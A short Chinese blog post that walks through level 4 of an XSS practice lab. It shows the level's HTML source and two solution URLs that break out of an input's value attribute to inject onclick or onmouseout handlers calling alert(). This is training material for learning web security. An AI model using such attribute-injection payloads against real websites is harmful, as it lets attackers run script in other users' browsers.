xss漏洞攻击-第四关

Posted on 2022-06-29 19:43  季啊  阅读(183)  评论(0)    收藏  举报
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level5.php?keyword=find a way out!"; 
}
</script>
<title>欢迎来到level4</title>
</head>
<body>
<h1 align=center>欢迎来到level4</h1>
<h2 align=center>没有找到和try harder!相关的结果.</h2><center>
<form action=level4.php method=GET>
<input name=keyword  value="try harder!">
<input type=submit name=submit value=搜索 />
</form>
</center><center><img src=level4.png></center>
<h3 align=center>payload的长度:11</h3></body>
</html>

  进入第四关开始的地址:http://192.168.199.153/xss/level4.php?keyword=try%20harder!

 通关代码

  方式一:http://192.168.199.153/xss/level4.php?keyword="onclick="alert()

       方式二:http://192.168.199.153/xss/level4.php?keyword="onmouseout="alert()